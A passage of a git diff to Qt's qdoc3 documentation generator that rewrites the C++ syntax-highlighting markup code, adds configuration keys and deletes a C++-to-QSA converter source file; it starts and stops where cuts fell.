fileInfo.filePath(); diff --git a/tools/qdoc3/config.h b/tools/qdoc3/config.h index fc277a7..9ebc0f8 100644 --- a/tools/qdoc3/config.h +++ b/tools/qdoc3/config.h @@ -76,7 +76,6 @@ class Config QSet<QString> subVars(const QString& var) const; QStringList getAllFiles(const QString& filesVar, const QString& dirsVar, - const QString& defaultNameFilter, const QSet<QString> &excludedDirs = QSet<QString>()); static QStringList getFilesHere(const QString& dir, @@ -119,12 +118,12 @@ class Config }; #define CONFIG_ALIAS "alias" -#define CONFIG_APPLICATION "application" #define CONFIG_BASE "base" // ### don't document for now #define CONFIG_CODEINDENT "codeindent" #define CONFIG_DEFINES "defines" #define CONFIG_DESCRIPTION "description" #define CONFIG_EDITION "edition" +#define CONFIG_ENDHEADER "endheader" #define CONFIG_EXAMPLEDIRS "exampledirs" #define CONFIG_EXAMPLES "examples" #define CONFIG_EXCLUDEDIRS "excludedirs" @@ -134,6 +133,8 @@ class Config #define CONFIG_GENERATEINDEX "generateindex" #define CONFIG_HEADERDIRS "headerdirs" #define CONFIG_HEADERS "headers" +#define CONFIG_HEADERSCRIPTS "headerscripts" +#define CONFIG_HEADERSTYLES "headerstyles" #define CONFIG_IGNOREDIRECTIVES "ignoredirectives" #define CONFIG_IGNORETOKENS "ignoretokens" #define CONFIG_IMAGEDIRS "imagedirs" @@ -143,11 +144,11 @@ class Config #define CONFIG_MACRO "macro" #define CONFIG_NATURALLANGUAGE "naturallanguage" #define CONFIG_OBSOLETELINKS "obsoletelinks" -#define CONFIG_APPLICATION "application" #define CONFIG_OUTPUTDIR "outputdir" #define CONFIG_OUTPUTENCODING "outputencoding" #define CONFIG_OUTPUTLANGUAGE "outputlanguage" #define CONFIG_OUTPUTFORMATS "outputformats" +#define CONFIG_OUTPUTPREFIXES "outputprefixes" #define CONFIG_PROJECT "project" #define CONFIG_QHP "qhp" #define CONFIG_QUOTINGINFORMATION "quotinginformation" @@ -160,8 +161,11 @@ class Config #define CONFIG_SOURCES "sources" #define CONFIG_SPURIOUS "spurious" #define CONFIG_STYLEDIRS "styledirs" +#define CONFIG_STYLE "style" #define CONFIG_STYLES "styles" #define CONFIG_STYLESHEETS "stylesheets" +#define CONFIG_SYNTAXHIGHLIGHTING "syntaxhighlighting" +#define CONFIG_TEMPLATEDIR "templatedir" #define CONFIG_TABSIZE "tabsize" #define CONFIG_TAGFILE "tagfile" #define CONFIG_TRANSLATORS "translators" // ### don't document for now diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index f04398f..e27916b 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -43,7 +43,6 @@ cppcodemarker.cpp */ -#include <qdebug.h> #include "atom.h" #include "cppcodemarker.h" #include "node.h" @@ -52,29 +51,6 @@ QT_BEGIN_NAMESPACE -static int insertTagAround(QString &result, int pos, int len, const QString &tagName, - const QString &attributes = QString()) -{ - QString s; - //s.reserve(result.size() + tagName.size() * 2 + attributes.size() + 20); - s += result.midRef(0, pos); - s += QLatin1Char('<'); - s += tagName; - if (!attributes.isEmpty()) { - s += QLatin1Char(' '); - s += attributes; - } - s += QLatin1Char('>'); - s += result.midRef(pos, len); - s += QLatin1String("</"); - s += tagName; - s += QLatin1Char('>'); - s += result.midRef(pos + len); - int diff = s.length() - result.length(); - result = s; - return diff; -} - /*! The constructor does nothing. */ @@ -127,6 +103,14 @@ bool CppCodeMarker::recognizeLanguage(const QString &lang) } /*! + Returns the type of atom used to represent C++ code in the documentation. +*/ +Atom::Type CppCodeMarker::atomType() const +{ + return Atom::Code; +} + +/*! Returns the \a node name, or "()" if \a node is a Node::Function node. */ @@ -158,9 +142,9 @@ QString CppCodeMarker::plainFullName(const Node *node, const Node *relative) QString CppCodeMarker::markedUpCode(const QString &code, const Node *relative, - const QString &dirPath) + const Location &location) { - return addMarkUp(protect(code), relative, dirPath); + return addMarkUp(code, relative, location); } QString CppCodeMarker::markedUpSynopsis(const Node *node, @@ -438,10 +422,10 @@ QString CppCodeMarker::markedUpIncludes(const QStringList& includes) QStringList::ConstIterator inc = includes.begin(); while (inc != includes.end()) { - code += "#include <<@headerfile>" + *inc + "</@headerfile>>\n"; + code += "<@preprocessor>#include <<@headerfile>" + *inc + "</@headerfile>></@preprocessor>\n"; ++inc; } - return addMarkUp(code, 0, ""); + return code; } QString CppCodeMarker::functionBeginRegExp(const QString& funcName) @@ -455,21 +439,6 @@ QString CppCodeMarker::functionEndRegExp(const QString& /* funcName */) return "^\\}$"; } -#if 0 - FastSection privateReimpFuncs(classe, - "Private Reimplemented Functions", - "private reimplemented function", - "private reimplemented functions"); - FastSection protectedReimpFuncs(classe, - "Protected Reimplemented Functions", - "protected reimplemented function", - "protected reimplemented functions"); - FastSection publicReimpFuncs(classe, - "Public Reimplemented Functions", - "public reimplemented function", - "public reimplemented functions"); -#endif - QList<Section> CppCodeMarker::sections(const InnerNode *inner, SynopsisStyle style, Status status) @@ -882,240 +851,282 @@ const Node *CppCodeMarker::resolveTarget(const QString& target, return 0; } -QString CppCodeMarker::addMarkUp(const QString& protectedCode, - const Node * /* relative */, - const QString& /* dirPath */) +static const char * const typeTable[] = { + "bool", "char", "double", "float", "int", "long", "short", + "signed", "unsigned", "uint", "ulong", "ushort", "uchar", "void", + "qlonglong", "qulonglong", + "qint", "qint8", "qint16", "qint32", "qint64", + "quint", "quint8", "quint16", "quint32", "quint64", + "qreal", "cond", 0 +}; + +static const char * const keywordTable[] = { + "and", "and_eq", "asm", "auto", "bitand", "bitor", "break", + "case", "catch", "class", "compl", "const", "const_cast", + "continue", "default", "delete", "do", "dynamic_cast", "else", + "enum", "explicit", "export", "extern", "false", "for", "friend", + "goto", "if", "include", "inline", "monitor", "mutable", "namespace", + "new", "not", "not_eq", "operator", "or", "or_eq", "private", "protected", + "public", "register", "reinterpret_cast", "return", "sizeof", + "static", "static_cast", "struct", "switch", "template", "this", + "throw", "true", "try", "typedef", "typeid", "typename", "union", + "using", "virtual", "volatile", "wchar_t", "while", "xor", + "xor_eq", "synchronized", + // Qt specific + "signals", "slots", "emit", 0 +}; + +static QString untabified(const QString &in) { - static QRegExp globalInclude("#include +<([^<>&]+)>"); - static QRegExp yHasTypeX("(?:^|\n *)([a-zA-Z_][a-zA-Z_0-9]*)" - "(?:<[^;{}]+>)?(?: *(?:\\*|&) *| +)" - "([a-zA-Z_][a-zA-Z_0-9]*)? *[,;()=]"); - static QRegExp xNewY("([a-zA-Z_][a-zA-Z_0-9]*) *= *new +([a-zA-Z_0-9]+)"); - static QRegExp xDotY("\\b([a-zA-Z_][a-zA-Z_0-9]*) *(?:\\.|->|,[ \n]*S(?:IGNAL|LOT)\\() *" - "([a-zA-Z_][a-zA-Z_0-9]*)(?= *\\()"); - static QRegExp xIsStaticZOfY("[\n:;{(=] *(([a-zA-Z_0-9]+)::([a-zA-Z_0-9]+))(?= *\\()"); - static QRegExp classX("[:,][ \n]*(?:p(?:ublic|r(?:otected|ivate))[ \n]+)?" - "([a-zA-Z_][a-zA-Z_0-9]*)"); - static QRegExp globalX("[\n{()=] *([a-zA-Z_][a-zA-Z_0-9]*)[ \n]*\\("); - static QRegExp multiLineComment("/(?:( )?\\*(?:[^*]+|\\*(?! /))*\\*\\1/)"); - multiLineComment.setMinimal(true); - static QRegExp singleLineComment("[^:]//(?!!)[^!\\n]*"); - static QRegExp preprocessor("(?:^|\n)(#[ \t]*(?:include|if|elif|endif|error|pragma|define" - "|warning)(?:(?:\\\\\n|\\n#)[^\n]*)*)"); - static QRegExp literals(""(?:[^\\\\&]|\\\\[^\n]|&(?!quot;))*"" - "|'(?:[^\\\\]|\\\\(?:[^x0-9']|x[0-9a-f]{1,4}|[0-9]{1,3}))'"); - - QString result = protectedCode; - int pos; - - if (!hurryUp()) { - /* - Mark global includes. For example: - - #include <<@headerfile>QString</@headerfile> - */ - pos = 0; - while ((pos = result.indexOf(globalInclude, pos)) != -1) - pos += globalInclude.matchedLength() - + insertTagAround(result, - globalInclude.pos(1), - globalInclude.cap(1).length(), - "@headerfile"); - - /* - Look for variable definitions and similar constructs, mark - the data type, and remember the type of the variable. - */ - QMap<QString, QSet<QString> > typesForVariable; - pos = 0; - while ((pos = yHasTypeX.indexIn(result, pos)) != -1) { - QString x = yHasTypeX.cap(1); - QString y = yHasTypeX.cap(2); - - if (!y.isEmpty()) - typesForVariable[y].insert(x); - - /* - Without the minus one at the end, 'void member(Class - var)' would give 'member' as a variable of type 'void', - but would ignore 'Class var'. (### Is that true?) - */ - pos += yHasTypeX.matchedLength() - + insertTagAround(result, - yHasTypeX.pos(1), - x.length(), - "@type") - 1; - } + QString res; + int col = 0; + int i = 0; + + for (; i < (int) in.length(); i++) { + if (in[i] == QChar('\t')) { + res += QString(" " + (col & 0x7)); + col = (col + 8) & ~0x7; + } else { + res += in[i]; + if (in[i] == QChar('\n')) + col = 0; + } + } - /* - Do syntax highlighting of preprocessor directives. - */ - pos = 0; - while ((pos = preprocessor.indexIn(result, pos)) != -1) - pos += preprocessor.matchedLength() - + insertTagAround(result, - preprocessor.pos(1), - preprocessor.cap(1).length(), - "@preprocessor"); - - /* - Deal with string and character literals. - */ - pos = 0; - while ((pos = literals.indexIn(result, pos)) != -1) - pos += literals.matchedLength() - + insertTagAround(result, - pos, - literals.matchedLength(), - result.at(pos) == - QLatin1Char(' ') ? "@string" : "@char"); - - /* - Look for 'var = new Class'. - */ - pos = 0; - while ((pos = xNewY.indexIn(result, pos)) != -1) { - QString x = xNewY.cap(1); - QString y = xNewY.cap(2); - typesForVariable[x].insert(y); - - pos += xNewY.matchedLength() + insertTagAround(result, - xNewY.pos(2), - y.length(), - "@type"); - } + return res; +} - /* - Insert some stuff that cannot harm. - */ - typesForVariable["qApp"].insert("QApplication"); - - /* - Add link to ': Class'. - */ - pos = 0; - while ((pos = classX.indexIn(result, pos)) != -1) - pos += classX.matchedLength() - + insertTagAround(result, - classX.pos(1), - classX.cap(1).length(), - "@type") - 1; - - /* - Find use of any of - - var.method() - var->method() - var, SIGNAL(method()) - var, SLOT(method()). - */ - pos = 0; - while ((pos = xDotY.indexIn(result, pos)) != -1) { - QString x = xDotY.cap(1); - QString y = xDotY.cap(2); - - QSet<QString> types = typesForVariable.value(x); - pos += xDotY.matchedLength() - + insertTagAround(result, - xDotY.pos(2), - xDotY.cap(2).length(), - "@func", - (types.count() == 1) ? "target=\"" - + protect(*types.begin() + "::" + y) - + "()\"" : QString()); - } +/* + @char + @class + @comment + @function + @keyword + @number + @op + @preprocessor + @string + @type +*/ - /* - Add link to 'Class::method()'. - */ - pos = 0; - while ((pos = xIsStaticZOfY.indexIn(result, pos)) != -1) { - QString x = xIsStaticZOfY.cap(1); - QString z = xIsStaticZOfY.cap(3); - - pos += insertTagAround(result, - xIsStaticZOfY.pos(3), - z.length(), - "@func", - "target=\"" + protect(x) + "()\""); - pos += insertTagAround(result, - xIsStaticZOfY.pos(2), - xIsStaticZOfY.cap(2).length(), - "@type"); - pos += xIsStaticZOfY.matchedLength() - 1; - } +QString CppCodeMarker::addMarkUp(const QString &in, + const Node * /* relative */, + const Location & /* location */) +{ +#define readChar() \ + ch = (i < (int)code.length()) ? code[i++].cell() : EOF - /* - Add link to 'globalFunction()'. - */ - pos = 0; - while ((pos = globalX.indexIn(result, pos)) != -1) { - QString x = globalX.cap(1); - if (x != "QT_FORWARD_DECLARE_CLASS") { - pos += globalX.matchedLength() - + insertTagAround(result, - globalX.pos(1), - x.length(), - "@func", - "target=\"" + protect(x) + "()\"") - 1; - } - else - pos += globalX.matchedLength(); - } + QString code = in; + + QMap<QString, int> types; + QMap<QString, int> keywords; + int j = 0; + while (typeTable[j] != 0) { + types.insert(QString(typeTable[j]), 0); + j++; + } + j = 0; + while (keywordTable[j] != 0) { + keywords.insert(QString(keywordTable[j]), 0); + j++; } - /* - Do syntax highlighting of comments. Also alter the code in a - minor way, so that we can include comments in documentation - comments. - */ - pos = 0; - while (pos != -1) { - int mlpos; - int slpos; - int len; - slpos = singleLineComment.indexIn(result, pos); - mlpos = multiLineComment.indexIn(result, pos); - - if (slpos == -1 && mlpos == -1) - break; - - if (slpos == -1) { - pos = mlpos; - len = multiLineComment.matchedLength(); - } - else if (mlpos == -1) { - pos = slpos + 1; - len = singleLineComment.matchedLength() - 1; - } - else { - if (slpos < mlpos) { - pos = slpos + 1; - len = singleLineComment.matchedLength() - 1; - } - else { - pos = mlpos; - len = multiLineComment.matchedLength(); - } - } + QString out(""); + int braceDepth = 0; + int parenDepth = 0; + int i = 0; + int start = 0; + int finish = 0; + char ch; + QRegExp classRegExp("Qt?(?:[A-Z3]+[a-z][A-Za-z]*|t)"); + QRegExp functionRegExp("q([A-Z][a-z]+)+"); + + readChar(); + + while (ch != EOF) { + QString tag; + bool target = false; + + if (isalpha(ch) || ch == '_') { + QString ident; + do { + ident += ch; + finish = i; + readChar(); + } while (isalnum(ch) || ch == '_'); + + if (classRegExp.exactMatch(ident)) { + tag = QLatin1String("type"); + } else if (functionRegExp.exactMatch(ident)) { + tag = QLatin1String("func"); + target = true; + } else if (types.contains(ident)) { + tag = QLatin1String("type"); + } else if (keywords.contains(ident)) { + tag = QLatin1String("keyword"); + } else if (braceDepth == 0 && parenDepth == 0) { + if (QString(code.unicode() + i - 1, code.length() - (i - 1)) + .indexOf(QRegExp(QLatin1String("^\\s*\\("))) == 0) + tag = QLatin1String("func"); + target = true; + } + } else if (isdigit(ch)) { + do { + finish = i; + readChar(); + } while (isalnum(ch) || ch == '.'); + tag = QLatin1String("number"); + } else { + switch (ch) { + case '+': + case '-': + case '!': + case '%': + case '^': + case '&': + case '*': + case ',': + case '.': + case '<': + case '=': + case '>': + case '?': + case '[': + case ']': + case '|': + case '~': + finish = i; + readChar(); + tag = QLatin1String("op"); + break; + case '"': + finish = i; + readChar(); + + while (ch != EOF && ch != '"') { + if (ch == '\\') + readChar(); + readChar(); + } + finish = i; + readChar(); + tag = QLatin1String("string"); + break; + case '#': + finish = i; + readChar(); + while (ch != EOF && ch != '\n') { + if (ch == '\\') + readChar(); + finish = i; + readChar(); + } + tag = QLatin1String("preprocessor"); + break; + case '\'': + finish = i; + readChar(); + + while (ch != EOF && ch != '\'') { + if (ch == '\\') + readChar(); + readChar(); + } + finish = i; + readChar(); + tag = QLatin1String("char"); + break; + case '(': + finish = i; + readChar(); + parenDepth++; + break; + case ')': + finish = i; + readChar(); + parenDepth--; + break; + case ':': + finish = i; + readChar(); + if (ch == ':') { + finish = i; + readChar(); + tag = QLatin1String("op"); + } + break; + case '/': + finish = i; + readChar(); + if (ch == '/') { + do { + finish = i; + readChar(); + } while (ch != EOF && ch != '\n'); + tag = QLatin1String("comment"); + } else if (ch == '*') { + bool metAster = false; + bool metAsterSlash = false; + + finish = i; + readChar(); + + while (!metAsterSlash) { + if (ch == EOF) + break; + + if (ch == '*') + metAster = true; + else if (metAster && ch == '/') + metAsterSlash = true; + else + metAster = false; + finish = i; + readChar(); + } + tag = QLatin1String("comment"); + } else { + tag = QLatin1String("op"); + } + break; + case '{': + finish = i; + readChar(); + braceDepth++; + break; + case '}': + finish = i; + readChar(); + braceDepth--; + break; + default: + finish = i; + readChar(); + } + } - if (result.at(pos + 1) == QLatin1Char(' ')) { - result.remove(pos + len - 2, 1); - result.remove(pos + 1, 1); - len -= 2; + QString text; + text = code.mid(start, finish - start); + start = finish; - forever { - int endcodePos = result.indexOf("\\ endcode", pos); - if (endcodePos == -1 || endcodePos >= pos + len) - break; - result.remove(endcodePos + 1, 1); - len -= 1; - } + if (!tag.isEmpty()) { + out += QLatin1String("<@") + tag; + if (target) + out += QLatin1String(" target=\"") + text + QLatin1String("()\""); + out += QLatin1String(">"); } - pos += len + insertTagAround(result, pos, len, "@comment"); + + out += protect(text); + + if (!tag.isEmpty()) + out += QLatin1String("</@") + tag + QLatin1String(">"); + } + + if (start < code.length()) { + out += protect(code.mid(start)); } - return result; + return out; } #ifdef QDOC_QML diff --git a/tools/qdoc3/cppcodemarker.h b/tools/qdoc3/cppcodemarker.h index 9c8d38c..061d642 100644 --- a/tools/qdoc3/cppcodemarker.h +++ b/tools/qdoc3/cppcodemarker.h @@ -56,41 +56,42 @@ class CppCodeMarker : public CodeMarker CppCodeMarker(); ~CppCodeMarker(); - bool recognizeCode(const QString& code); - bool recognizeExtension(const QString& ext); - bool recognizeLanguage(const QString& lang); - QString plainName(const Node *node); - QString plainFullName(const Node *node, const Node *relative); - QString markedUpCode(const QString& code, - const Node *relative, - const QString& dirPath); - QString markedUpSynopsis(const Node *node, - const Node *relative, - SynopsisStyle style); + virtual bool recognizeCode(const QString& code); + virtual bool recognizeExtension(const QString& ext); + virtual bool recognizeLanguage(const QString& lang); + virtual Atom::Type atomType() const; + virtual QString plainName(const Node *node); + virtual QString plainFullName(const Node *node, const Node *relative); + virtual QString markedUpCode(const QString& code, + const Node *relative, + const Location &location); + virtual QString markedUpSynopsis(const Node *node, + const Node *relative, + SynopsisStyle style); #ifdef QDOC_QML - QString markedUpQmlItem(const Node *node, bool summary); + virtual QString markedUpQmlItem(const Node *node, bool summary); #endif - QString markedUpName(const Node *node); - QString markedUpFullName(const Node *node, const Node *relative); - QString markedUpEnumValue(const QString &enumValue, const Node *relative); - QString markedUpIncludes(const QStringList& includes); - QString functionBeginRegExp(const QString& funcName); - QString functionEndRegExp(const QString& funcName); - QList<Section> sections(const InnerNode *innerNode, - SynopsisStyle style, - Status status); - QList<Section> qmlSections(const QmlClassNode* qmlClassNode, - SynopsisStyle style, - const Tree* tree); - const Node* resolveTarget(const QString& target, - const Tree* tree, - const Node* relative, - const Node* self = 0); + virtual QString markedUpName(const Node *node); + virtual QString markedUpFullName(const Node *node, const Node *relative); + virtual QString markedUpEnumValue(const QString &enumValue, const Node *relative); + virtual QString markedUpIncludes(const QStringList& includes); + virtual QString functionBeginRegExp(const QString& funcName); + virtual QString functionEndRegExp(const QString& funcName); + virtual QList<Section> sections(const InnerNode *innerNode, + SynopsisStyle style, + Status status); + virtual QList<Section> qmlSections(const QmlClassNode* qmlClassNode, + SynopsisStyle style, + const Tree* tree); + virtual const Node* resolveTarget(const QString& target, + const Tree* tree, + const Node* relative, + const Node* self = 0); private: QString addMarkUp(const QString& protectedCode, const Node *relative, - const QString& dirPath); + const Location &location); }; QT_END_NAMESPACE diff --git a/tools/qdoc3/cppcodeparser.cpp b/tools/qdoc3/cppcodeparser.cpp index cac778f..3979176 100644 --- a/tools/qdoc3/cppcodeparser.cpp +++ b/tools/qdoc3/cppcodeparser.cpp @@ -47,7 +47,6 @@ #include <stdio.h> #include <errno.h> -#include <qdebug.h> #include "codechunk.h" #include "config.h" @@ -258,18 +257,18 @@ QString CppCodeParser::language() /*! Returns a list of extensions for header files. */ -QString CppCodeParser::headerFileNameFilter() +QStringList CppCodeParser::headerFileNameFilter() { - return "*.ch *.h *.h++ *.hh *.hpp *.hxx"; + return QStringList() << "*.ch" << "*.h" << "*.h++" << "*.hh" << "*.hpp" << "*.hxx"; } /*! Returns a list of extensions for source files, i.e. not header files. */ -QString CppCodeParser::sourceFileNameFilter() +QStringList CppCodeParser::sourceFileNameFilter() { - return "*.c++ *.cc *.cpp *.cxx"; + return QStringList() << "*.c++" << "*.cc" << "*.cpp" << "*.cxx" << "*.mm"; } /*! @@ -966,16 +965,6 @@ void CppCodeParser::processOtherMetaCommand(const Doc& doc, .arg(COMMAND_REIMP).arg(node->name())); } -#if 0 - // Reimplemented functions now reported in separate sections. - /* - Note: Setting the access to Private hides the documentation, - but setting the status to Internal makes the node available - in the XML output when the WebXMLGenerator is used. - */ - func->setAccess(Node::Private); - func->setStatus(Node::Internal); -#endif func->setReimp(true); } else { diff --git a/tools/qdoc3/cppcodeparser.h b/tools/qdoc3/cppcodeparser.h index b6d86d8..f708588 100644 --- a/tools/qdoc3/cppcodeparser.h +++ b/tools/qdoc3/cppcodeparser.h @@ -69,8 +69,8 @@ class CppCodeParser : public CodeParser virtual void initializeParser(const Config& config); virtual void terminateParser(); virtual QString language(); - virtual QString headerFileNameFilter(); - virtual QString sourceFileNameFilter(); + virtual QStringList headerFileNameFilter(); + virtual QStringList sourceFileNameFilter(); virtual void parseHeaderFile(const Location& location, const QString& filePath, Tree *tree); diff --git a/tools/qdoc3/cpptoqsconverter.cpp b/tools/qdoc3/cpptoqsconverter.cpp deleted file mode 100644 index d9dcad1..0000000 --- a/tools/qdoc3/cpptoqsconverter.cpp +++ /dev/null @@ -1,415 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - cpptoqsconverter.cpp -*/ - -#include "config.h" -#include "cpptoqsconverter.h" - -QT_BEGIN_NAMESPACE - -#define CONFIG_QUICK "quick" -#define CONFIG_INDENTSIZE "indentsize" - -void setTabSize( int size ); -void setIndentSize( int size ); -int columnForIndex( const QString& t, int index ); -int indentForBottomLine( const QStringList& program, QChar typedIn ); - -static QString balancedParens = "(?:[^()]+|\\([^()]*\\))*"; - -QRegExp CppToQsConverter::qClassRegExp; -QRegExp CppToQsConverter::addressOperatorRegExp; -QRegExp CppToQsConverter::gulbrandsenRegExp; -int CppToQsConverter::tabSize; - -ClassNode *CppToQsConverter::findClassNode( Tree *qsTree, - const QString& qtName ) -{ - ClassNode *classe = (ClassNode *) qsTree->findNode( QStringList(qtName), Node::Class ); - if ( classe == 0 ) - classe = (ClassNode *) qsTree->findNode( QStringList(qtName.mid(1)), Node::Class ); - return classe; -} - -QString CppToQsConverter::convertedDataType( Tree *qsTree, - const QString& leftType, - const QString& /* rightType */ ) -{ - QString s = leftType; - - if ( s.startsWith("const ") ) - s = s.mid( 6 ); - while ( s.endsWith("*") || s.endsWith("&") || s.endsWith(" ") ) - s.truncate( s.length() - 1 ); - - switch ( s[0].unicode() ) { - case 'Q': - if ( s == "QCString" ) { - return "String"; - } else { - Node *node = findClassNode( qsTree, s ); - if ( node == 0 ) { - return ""; - } else { - return node->name(); - } - } - break; - case 'b': - if ( s == "bool" ) - return "Boolean"; - break; - case 'c': - if ( s == "char" ) { - if ( leftType == "const char *" ) { - return "String"; - } else { - return "Number"; - } - } - break; - case 'd': - if ( s == "double" ) - return "Number"; - break; - case 'f': - if ( s == "float" ) - return "Number"; - case 'i': - if ( s == "int" ) - return "Number"; - break; - case 'l': - if ( s == "long" || s == "long int" || s == "long long" || - s == "long long int" || s == "long double" ) - return "Number"; - break; - case 's': - if ( s == "short" || s == "short int" || s == "signed char" || - s == "signed short" || s == "signed short int" || s == "signed" || - s == "signed int" || s == "signed long" || s == "signed long int" ) - return "Number"; - break; - case 'u': - if ( s == "uchar" || s == "unsigned" || s == "unsigned char" || - s == "ushort" || s == "unsigned short" || - s == "unsigned short int" || s == "uint" || s == "unsigned int" || - s == "ulong" || s == "unsigned long" || s == "unsigned long int" ) - return "Number"; - break; - case 'v': - if ( s == "void" ) - return ""; - } - return s; -} - -QString CppToQsConverter::convertedCode( Tree *qsTree, const QString& code, - const QSet<QString>& classesWithNoQ ) -{ - QString result; - QStringList program; - QStringList comments; - int programWidth = 0; - - QStringList originalLines = code.split("\n"); - QStringList::ConstIterator ol = originalLines.begin(); - while ( ol != originalLines.end() ) { - QString code = (*ol).trimmed(); - QString comment; - - int slashSlash = code.indexOf( "//" ); - if ( slashSlash != -1 ) { - comment = code.mid( slashSlash ); - code.truncate( slashSlash ); - code = code.trimmed(); - } - - code = convertCodeLine( qsTree, program, code, classesWithNoQ ); - program.append( code ); - - comment = convertComment( qsTree, comment, classesWithNoQ ); - comments.append( comment ); - - int n = indentForBottomLine( program, QChar::Null ); - for ( int i = 0; i < n; i++ ) - program.last().prepend( " " ); - - int width = columnForIndex( program.last(), program.last().length() ); - if ( !comment.isEmpty() && width > programWidth ) - programWidth = width; - ++ol; - } - - programWidth = ( (programWidth + (tabSize - 1) + 2) / tabSize ) * tabSize; - - QStringList::ConstIterator p = program.begin(); - QStringList::ConstIterator c = comments.begin(); - while ( c != comments.end() ) { - if ( c != comments.begin() ) - result += "\n"; - - if ( (*p).trimmed().isEmpty() ) { - if ( !(*c).isEmpty() ) - result += *p; - } else { - result += *p; - if ( !(*c).isEmpty() ) { - int i = columnForIndex( *p, (*p).length() ); - while ( i++ < programWidth ) - result += " "; - } - } - result += *c; - ++p; - ++c; - } - return result; -} - -void CppToQsConverter::initialize( const Config& config ) -{ - qClassRegExp.setPattern( "\\bQ([A-Z][A-Za-z]+)\\b" ); - addressOperatorRegExp.setPattern( "([(\\s])[*&]([a-zA-Z])" ); - gulbrandsenRegExp.setPattern( "\\b::\\b|->" ); - - tabSize = config.getInt( CONFIG_TABSIZE ); - setTabSize( tabSize ); - - int size = config.getInt( CONFIG_QUICK + Config::dot + CONFIG_INDENTSIZE ); - if ( size > 0 ) - setIndentSize( size ); -} - -void CppToQsConverter::terminate() -{ -} - -QString CppToQsConverter::convertCodeLine( Tree *qsTree, - const QStringList& program, - const QString& code, - const QSet<QString>& classesWithNoQ ) -{ - static QString dataTypeFmt = - "(?!return)(?:const\\b\\s*)?[A-Za-z_]+(?:\\s*[*&])?"; - static QRegExp funcPrototypeRegExp( - "(" + dataTypeFmt + ")\\s*\\b([A-Z][a-zA-Z_0-9]*::)?" - "([a-z][a-zA-Z_0-9]*)\\(([^);]*)(\\)?)(?:\\s*const)?" ); - static QRegExp paramRegExp( - "^\\s*(" + dataTypeFmt + ")\\s*\\b([a-z][a-zA-Z_0-9]*)\\s*(,)?\\s*" ); - static QRegExp uninitVarRegExp( - "(" + dataTypeFmt + ")\\s*\\b([a-z][a-zA-Z_0-9]*);" ); - static QRegExp eqVarRegExp( - dataTypeFmt + "\\s*\\b([a-z][a-zA-Z_0-9]*)\\s*=(\\s*)(.*)" ); - static QRegExp ctorVarRegExp( - "(" + dataTypeFmt + ")\\s*\\b([a-z][a-zA-Z_0-9]*)\\((.*)\\);" ); - static QRegExp qdebugRegExp( - "q(?:Debug|Warning|Fatal)\\(\\s*(\"(?:\\\\.|[^\"])*\")\\s*" - "(?:,\\s*(\\S(?:[^,]*\\S)?))?\\s*\\);" ); - static QRegExp coutRegExp( "c(?:out|err)\\b(.*);" ); - static QRegExp lshiftRegExp( "\\s*<<\\s*" ); - static QRegExp endlRegExp( "^endl$" ); - - if ( code.isEmpty() || code == "{" || code == "}" ) - return code; - - QString result; - - if ( funcPrototypeRegExp.exactMatch(code) ) { - QString returnType = funcPrototypeRegExp.cap( 1 ); - QString className = funcPrototypeRegExp.cap( 2 ); - QString funcName = funcPrototypeRegExp.cap( 3 ); - QString params = funcPrototypeRegExp.cap( 4 ).trimmed(); - bool toBeContinued = funcPrototypeRegExp.cap( 5 ).isEmpty(); - // ### unused - Q_UNUSED(toBeContinued); - - className.replace( "::", "." ); - - result = "function " + className + funcName + "("; - - if ( !params.isEmpty() && params != "void" ) { - result += " "; - int i = funcPrototypeRegExp.pos( 4 ); - while ( (i = paramRegExp.indexIn(code, i, - QRegExp::CaretAtOffset)) != -1 ) { - QString dataType = paramRegExp.cap( 1 ); - QString paramName = paramRegExp.cap( 2 ); - QString comma = paramRegExp.cap( 3 ); - - result += paramName + " : " + - convertedDataType( qsTree, dataType ); - if ( comma.isEmpty() ) - break; - result += ", "; - i += paramRegExp.matchedLength(); - } - result += " "; - } - - result += ")"; - returnType = convertedDataType( qsTree, returnType ); - if ( !returnType.isEmpty() ) - result += " : " + returnType; - } else if ( uninitVarRegExp.exactMatch(code) ) { - QString dataType = uninitVarRegExp.cap( 1 ); - QString varName = uninitVarRegExp.cap( 2 ); - - result = "var " + varName; - dataType = convertedDataType( qsTree, dataType ); - if ( !dataType.isEmpty() ) - result += " : " + dataType; - result += ";"; - } else if ( eqVarRegExp.exactMatch(code) ) { - QString varName = eqVarRegExp.cap( 1 ); - QString value = eqVarRegExp.cap( 3 ); - - value = convertExpr( qsTree, value, classesWithNoQ ); - result += "var " + varName + " = " + value; - } else if ( ctorVarRegExp.exactMatch(code) ) { - QString dataType = ctorVarRegExp.cap( 1 ); - QString varName = ctorVarRegExp.cap( 2 ); - QString value = ctorVarRegExp.cap( 3 ).trimmed(); - - result += "var " + varName + " = "; - - dataType = convertedDataType( qsTree, dataType ); - value = convertExpr( qsTree, value, classesWithNoQ ); - - if ( dataType.isEmpty() || dataType == "String" ) { - if ( value.contains(",") ) { - result += "..."; - } else { - result += value; - } - } else { - result += "new " + dataType; - if ( !value.isEmpty() ) - result += "( " + value + " )"; - } - result += ";"; - } else if ( qdebugRegExp.exactMatch(code) ) { - QString fmt = qdebugRegExp.cap( 1 ); - QString arg1 = qdebugRegExp.cap( 2 ); - - result += "println "; - int i = 0; - while ( i < (int) fmt.length() ) { - if ( fmt[i] == '%' ) { - int percent 